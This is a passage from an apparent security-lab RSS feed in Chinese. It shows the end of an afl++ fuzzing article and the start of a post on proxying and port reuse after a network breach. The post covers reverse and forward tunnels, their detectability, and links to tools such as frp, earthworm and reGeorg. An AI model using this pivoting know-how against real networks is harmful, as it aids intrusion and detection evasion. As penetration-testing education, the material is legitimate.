Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;"><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;background-color: rgb(255, 255, 255);">经过实测，</span>以上的优化措施确实提高了Fuzzing的代码覆盖率，但是依旧未能达到接近100%代码覆盖率的<span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;background-color: rgb(255, 255, 255);">完美状态</span>。这就需要程序员不断地去优化harness程序，找到更合适的样本，以尽可能提高Fuzzing速度。运行Fuzzing、查看Fuzzing状态<span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;background-color: rgb(255, 255, 255);">、</span>分析结果<span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;background-color: rgb(255, 255, 255);">和</span>优化Fuzzing程序，不断地循环这个正反馈过程，最终期望达到一个理想的状态，即尽可能多地探索程序路径使得程序不再出现异常，之后就可以去研究下一个目标了。</span></p><p cid="n126" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">在Fuzzing过程中还会遇到一些痛点，如afl++会生成大量的无效文件，导致目标应用实际上并没有对输入文件进行深入解析，如此变异后生成的crash样本大部分都是由该原因而崩溃的。如何让afl++减少这种对无效路径的探索<span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;background-color: rgb(255, 255, 255);">目前</span>似乎还没有很好的解决方案。之前为了解决afl变异导致生成样本无效的问题时，笔者通过开发一个自定义的变异器来解决该问题，但是这同样需要对变异目标的结构有一定的了解。笔者的一个思路是找到程序在判断输入文件无效后异常退出的代码路径，并且禁止对这部分代码进行插桩，但由于真实软件的复杂性似乎很难做到并且效果未知。当然也可以使用如peach、FormatFuzzer这种工具配合afl++使用，保证变异后的样本是高度结构化的数据，能够通过软件对输入文件格式的校验，这也不失为一种针对文件格式Fuzzing的良好方案。</span></p><p cid="n127" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">本次的Fuzzing实战就到这里，整体来说还存在一些不足。未来我们将采用更多的模糊测试工具来进行综合对比测试，并尝试借助AI的能力来解决Fuzzing过程中的痛点，比如用AI来编写harness等等，也期待着更多人的进一步探索。</span></p><p cid="n32" mdtype="paragraph" style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;orphans: 4;text-align: justify;"><br/></span></p><section style="white-space: normal;outline: 0px;letter-spacing: 0.544px;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;display: flex;justify-content: center;align-items: center;width: 677px;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;display: flex;justify-content: center;align-items: center;"><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;width: 6px;height: 6px;transform: translateX(14px);"><img class="rich_pages wxw-img" data-ratio="1" style="outline: 0px;display: block;visibility: visible !important;width: 12px !important;" data-type="png" data-w="12" src="https://wechat2rss.xlab.app/img-proxy/?k=d6229ea8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FasLg7via5ibAkf1mRkpS4IuZibZE5eeC0t8nibIZBfZEekibOEZVWyf9jHzIVvT2sTzKS1OtZzSBErxJUZXD1AwAAWw%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section data-mid="" mpa-from-tpl="t" style="padding-right: 4px;padding-left: 4px;outline: 0px;text-align: center;"><p data-mid="" msthash="2289326" msttexthash="12647050" style="padding-right: 16px;padding-left: 16px;outline: 0px;font-size: 14px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(27, 110, 201);line-height: 20px;border-bottom: 1px solid rgb(27, 110, 201);text-align: left;">往期回顾</p></section><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;width: 6px;height: 6px;transform: translateX(-14px);"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb9bc775&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FicjDF5uGXY5ibE0P0Mtzns3KNb5hsCIKPfMIRultHDbmzgJcDaibI4wNKM6ZloyGRtRovyXtVdv3SuuVOcmA8gn8A%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section><h1 style="margin-bottom: 14px;font-size: 22px;white-space: normal;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485159&amp;idx=1&amp;sn=589428e1e56394461dedf5fee2e52c09&amp;chksm=c0ddfc96f7aa75801afacbbf7d04903d90fae0ace4a795b6c01a0794587ec8dc5923e25bc8fd&amp;scene=21#wechat_redirect" textvalue="代理端口复用在后渗透场景中的应用探究" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="outline: 0px;font-size: 14px;">代理端口复用在后渗透场景中的应用探究</span></a></h1><h1 style="margin-bottom: 14px;font-size: 22px;white-space: normal;outline: 0px;line-height: 1.4;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: center;background-color: rgb(255, 255, 255);"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485142&amp;idx=1&amp;sn=81612930652625bf3d810b63e2397975&amp;chksm=c0ddfca7f7aa75b19b2e089f7322c005c45d9592b7d15389a44f798f598c44d2c8b6300ef377&amp;scene=21#wechat_redirect" textvalue="某OA系统未授权SQL注入漏洞分析" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="font-size: 14px;">某OA系统未授权SQL注入漏洞分析</span></a></h1><h1 style="margin-bottom: 14px;font-size: 22px;white-space: normal;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);"><span style="color: var(--weui-LINK);outline: 0px;cursor: pointer;font-size: 14px;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485124&amp;idx=1&amp;sn=0a849f5ece20ad69b2013edbd0e3717d&amp;chksm=c0ddfcb5f7aa75a3148aca9d76dedfdd12efdee089cd3278a1ceece4dc470f7237a0b94053e9&amp;scene=21#wechat_redirect" textvalue="基于半监督学习的文本验证码识别方法" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="color: var(--weui-LINK);outline: 0px;cursor: pointer;"><span style="display: none;line-height: 0px;">‍</span>基于半监督学习的文本验证码识别方法</a></span></h1><p style="white-space: normal;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-align: center;"><br style="outline: 0px;"/></p><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;white-space: normal;outline: 0px;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.43333333333333335" data-s="300,640" style="outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;display: initial;visibility: visible !important;width: 194px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9bdadcd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7lCiaSMMkhia4WIkRNZHTwq8jJicy27jdbWa7ED26252RGmSPRE0rmHQsgZ6ZoichVyFNlvhLelZS09a194B9dyoAQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin-top: 10px;margin-bottom: 10px;white-space: normal;outline: 0px;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;"><span msthash="438322" msttexthash="46068516" style="outline: 0px;color: rgb(27, 110, 201);letter-spacing: 2px;">引领智能网络攻防科技</span></section><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;white-space: normal;outline: 0px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;word-break: break-all;text-align: center;"><span msthidden="1" style="outline: 0px;color: rgb(27, 110, 201);"><img class="rich_pages wxw-img __bg_gif" data-copyright="0" data-ratio="0.0734375" style="outline: 0px;display: initial;visibility: visible !important;width: 544px !important;" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=530afaf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCD1iaLIMEhibPv9rc3gdLj3g6fiaAcCZqIicylIMVKlbvd5ic5usJ2oia9cTgavs6BwQpEEYbfglc82kCJ0Qic3OHMEaw%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></span></section><section data-brushtype="text" style="margin: 15px 1em;white-space: normal;outline: 0px;letter-spacing: 0.544px;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;line-height: 1.75em;"><section class="mp_profile_iframe_wrp" style="outline: 0px;"><mp-common-profile data-index="0" data-id="MzU5ODE2NDA3NA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/7lCiaSMMkhia7dpwexuaibUE3Eb0z03gPLaYB4PHo7G8BE9eAlRk9NoXRfjDMAxXV0OSYSdZS7KPqic8GNUkqxch7g/0?wx_fmt=png" data-nickname="墨云安全" data-alias="moyunsec" data-signature="墨云科技，更智能的网络攻防！" data-origin_num="45" data-is_biz_ban="0" data-isban="0" class="js_wx_tap_highlight" data-from="2" has-insert-preloading="1" data-weui-theme="light" data-biz_account_status="0"></mp-common-profile></section><section msthash="837304" msttexthash="11380889" style="margin-top: 15px;margin-bottom: 10px;outline: 0px;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;"><span style="outline: 0px;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;">点击</span><span style="outline: 0px;letter-spacing: 0.544px;text-align: start;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;color: rgb(99, 121, 161);"><strong style="outline: 0px;">在看</strong></span></section><section style="margin-top: 5px;margin-bottom: 15px;outline: 0px;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;"><span msthash="837305" msttexthash="16926988" style="outline: 0px;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;">分享给小伙伴</span></section><section style="outline: 0px;"><br style="outline: 0px;"/></section><section style="outline: 0px;text-align: left;"><span style="outline: 0px;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;font-size: 14px;color: rgb(136, 136, 136);">↓↓点击</span><span msthash="837306" msttexthash="88348169" style="outline: 0px;font-size: 14px;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(99, 121, 161);"><strong style="outline: 0px;">阅读原文</strong></span><span style="outline: 0px;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;font-size: 14px;color: rgb(136, 136, 136);">，了解更多墨云信息</span></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://www.vackbot.com/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=eb385100&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzIxMDUyNg%3D%3D%26mid%3D2247485207%26idx%3D1%26sn%3D939c2f66768d68b8824f15f0648d8de6%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 18 Aug 2023 18:06:00 +0800</pubDate>
    </item>
    <item>
      <title>代理端口复用在后渗透场景中的应用探究</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485159&amp;idx=1&amp;sn=589428e1e56394461dedf5fee2e52c09</link>
      <description>在后渗透场景中，代理几乎是不可或缺的一部分，对于多层网络架构的复杂内网环境而言，多级代理，多协议代理，端口复用等代理功能显得更重要，本文将分几个部分逐步介绍。</description>
      <content:encoded><![CDATA[<p>
原创 <span>deagle</span> <span>2023-07-28 18:00</span> <span style="display: inline-block;">北京</span>
</p>

<p>在后渗透场景中，代理几乎是不可或缺的一部分，对于多层网络架构的复杂内网环境而言，多级代理，多协议代理，端口复用等代理功能显得更重要，本文将分几个部分逐步介绍。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3579afdb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplRDWvia9tibqtz7dGq9gy57lpSBVALK0BeFkt5A7squLFJQlOlMXenIGcQT5c9MRvmlaB3paIxHv0jg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5lWorq5EHkq0S23icUZq77ney00MjKAUXEicQiaeOzjibibNFgJRyS6jL4Yg/0?wx_fmt=png" data-cropx1="54.21686746987952" data-cropx2="500" data-cropy1="0" data-cropy2="373.49397590361446" data-galleryid="" data-ratio="0.8363228699551569" data-s="300,640" style="outline: 0px;visibility: visible !important;width: 74px !important;" data-type="jpeg" data-w="446" src="https://wechat2rss.xlab.app/img-proxy/?k=b0bd8e02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplQVdTRRJicJ2azEOTmTY3OafecibSXaJYKEr60h31TRUOicdYD6RzewdFzj1fiawg9HD0kgaicibZwQmKaQ%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><section style="margin-right: 8px;margin-left: 8px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><strong style="outline: 0px;visibility: visible;"><span msthash="438321" msttexthash="25869584" style="outline: 0px;color: rgb(27, 110, 201);font-family: -webkit-standard;widows: 1;font-size: 14px;visibility: visible;">VLab-实验室</span></strong></section><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><img class="rich_pages wxw-img __bg_gif" data-ratio="0.1875" data-s="300,640" style="outline: 0px;visibility: visible !important;width: 76px !important;" data-type="gifwxfrom=5wx_lazy=1" data-w="128" src="https://wechat2rss.xlab.app/img-proxy/?k=8c660053&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F2TSketEedQ9mmk8nGa8zUv26iapUUPIczjUGSuap1ZqpQO56wnwGGmwkicPphswx7DG3CgAribFoibGw48d3VoQ17g%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;"><o:p style="outline: 0px;visibility: visible;"></o:p></p><p cid="n3" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">在后渗透场景中，代理几乎是不可或缺的一部分，对于多层网络架构的复杂内网环境而言，多级代理、多协议代理、端口复用等代理功能便尤为重要，本文将分以下几个部分逐步介绍：</span></p><pre spellcheck="false" lang="text" cid="n3" mdtype="fences" style="overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;color: rgb(51, 51, 51);letter-spacing: normal;"><span style="font-size: 14px;"><span role="presentation" style="font-size: 14px;padding-right: 0.1px;">1.常见代理的方式</span><br/><span role="presentation" style="font-size: 14px;padding-right: 0.1px;">2.代理端口复用研究</span><br/><span role="presentation" style="font-size: 14px;padding-right: 0.1px;">3.基于已有服务的端口复用方式</span></span></pre><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;outline: 0px;font-weight: bold;letter-spacing: 0.544px;text-indent: 0em;white-space: pre-wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;font-size: 17px;visibility: visible;">常见代理方式</span></h2><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;"><strong><span style="outline: 0px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space-collapse: preserve;visibility: visible;">反向代理</span></strong><span style="outline: 0px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space-collapse: preserve;visibility: visible;"></span></p><p cid="n6" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: justify;"><span md-inline="plain">反向代理（Reverse Proxy）指的是由目标服务器主动像客户端发起连接请求的代理模式，这种代理模式通常是攻防实战中完成边界突破后的代理方式的优选项，稳定性相对更佳。缺点是服务器需要具备出网能力，在流量侧会有主动外连的痕迹，如果使用的代理工具存在流量侧特征容易被态势感知等设备发现。列举几个反代工具：</span></p><pre spellcheck="false" lang="text" cid="n7" mdtype="fences" style="overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;color: rgb(51, 51, 51);letter-spacing: normal;"><span style="padding-right: 0.1px;font-size: 14px;">1、frp<br/><a href="https://github.com/fatedier/frp.git" target="_blank">https://github.com/fatedier/frp.git</a><br/>2、earthworm    <br/><a href="https://github.com/idlefire/ew.git" target="_blank">https://github.com/idlefire/ew.git</a><br/>3、ngrok     <br/><a href="https://github.com/inconshreveable/ngrok.git" target="_blank">https://github.com/inconshreveable/ngrok.git</a><br/>4、nps<br/><a href="https://github.com/ehang-io/nps" target="_blank">https://github.com/ehang-io/nps</a><br/>5、erfrp<br/><a href="https://github.com/Goqi/Erfrp" target="_blank">https://github.com/Goqi/Erfrp</a></span></pre><p style="margin-bottom: 16px;text-indent: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;"><strong><span style="outline: 0px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space-collapse: preserve;visibility: visible;">正向代理</span></strong></p><p cid="n9" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">正向代理（Forward Proxy）是指由客户端向代理服务器发起请求，并由代理服务器向目标转发的代理方式，这种代理模式是科学上网常用的代理方式。在攻防实战中，由于目标主机服务器通常在内网环境，服务由例如nginx等服务将服务端口代理映射出去，因此在服务上主动创建的代理监听服务很难通过公网访问到。通常做法是复用web服务，通过对应的开发语言写代理的服务，再通过正向代理实现连接，这种方式通常稳定性和速度相对较差，通常在服务器无法出网的情况下选择。列举两个webProxy：</span></p><pre spellcheck="false" lang="text" cid="n10" mdtype="fences" style="overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;color: rgb(51, 51, 51);letter-spacing: normal;"><p style="margin-bottom: 0px;"><span style="padding-right: 0.1px;font-size: 14px;">1、reGeorg<br/><a href="https://github.com/sensepost/reGeorg.git" target="_blank">https://github.com/sensepost/reGeorg.git</a><br/>2、Neo-reGeorg<br/><a href="https://github.com/L-codes/Neo-reGeorg" target="_blank">https://github.com/L-codes/Neo-reGeorg</a></span></p></pre><h2 cid="n11" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;outline: 0px;font-weight: 